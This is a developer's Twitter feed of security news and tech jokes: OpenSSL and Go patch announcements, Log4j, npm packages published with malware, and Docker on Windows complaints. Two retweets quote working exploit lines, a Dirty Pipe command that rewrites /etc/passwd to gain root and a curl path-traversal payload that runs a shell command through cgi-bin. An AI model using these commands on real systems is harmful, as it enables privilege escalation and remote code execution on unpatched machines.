"Between subtle shading and the absence of light lies the nuance of iqlusion |sic|" - K1 Opinions expressed are solely my own and not of my employer(s)
Joined March 2012
- Tweets1.8K
- Following0
- Followers127
- Likes509
- OpenSSL v3.0.7 releasing on Tuesday (Nov 1) for a critical sec advisory mta.openssl.org/pipermail/op…
- Golang non-public security patches for 1.19 and 1.18 std lib coming out Tuesday as well groups.google.com/g/golang-a…
It will be a busy week 😅
3
"OpenSSL 3.0 FIPS Provider has had its FIPS 140-2 validation certificate issued by NIST & CSE".
Took a crazy long amount of time but it's finally approved!
openssl.org/blog/blog/2022/0… #openssl #fips #fedramp
programmingwithstyle.com/pos… :thisisifine.gif:
Srdjan Grubor retweeted
Clear out the root password using CVE-2022-0847 - dirtypipe.cm4all.com/
./CVE-2022-0847 /etc/passwd 1 ootz:
Log4j/log4j2 RCE vuln - really bad & trivial to exploit. CVE-2021-44228.
This quoted post is unavailable.
libnss buffer overflow from an oversized signature (oof!): googleprojectzero.blogspot.c…
After spending some time on this in the last couple of weeks, I can confidently say that Windows containers relate to containers the same way seahorses relate to horses. #Windows #development #softwaredevelopment #containers #Docker
1
I've had smoother times driving on gravel roads than when I today tried installing Docker for Windows. The UX of this experience is a generous 3/10 at best. #softwaredevelopment #containers
I'm just going to leave this here: gist.github.com/plutooo/7333… #Nintendo
When I̶ ̶r̶e̶a̶l̶i̶z̶e̶ ̶I̶ ̶ you realize you know your tzdata config options by heart, it's time to automate more things (even if it's a throwaway env). 🙃 #development #programming
Srdjan Grubor retweeted
Translation: We got all (symmetric) ps5 root keys. They can all be obtained from software - including per-console root key, if you look hard enough!
Poignant take on the current state of things regarding climate change (nsfw language though):
youtube.com/watch?v=1FqXTCvD…
Node's `coa` package got published with malware github.com/advisories/GHSA-7…. Pretty wide blast radius (~9mil weekly downloads).
Looks like `rc` package also got hit: github.com/dominictarr/rc/is… (~14mil weekly downloads)
With the quantity of node packages w/ malware published recently and npmjs email about needing 2FA on the accounts, my $5 says npmjs user data got exfil'd sometime earlier this year.
Srdjan Grubor retweeted
KISS:
curl --data "echo;id" 'http://127.0.0.1:55026/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
Srdjan Grubor retweeted
To make error is human. To propagate error to all server in automatic way is #devops.
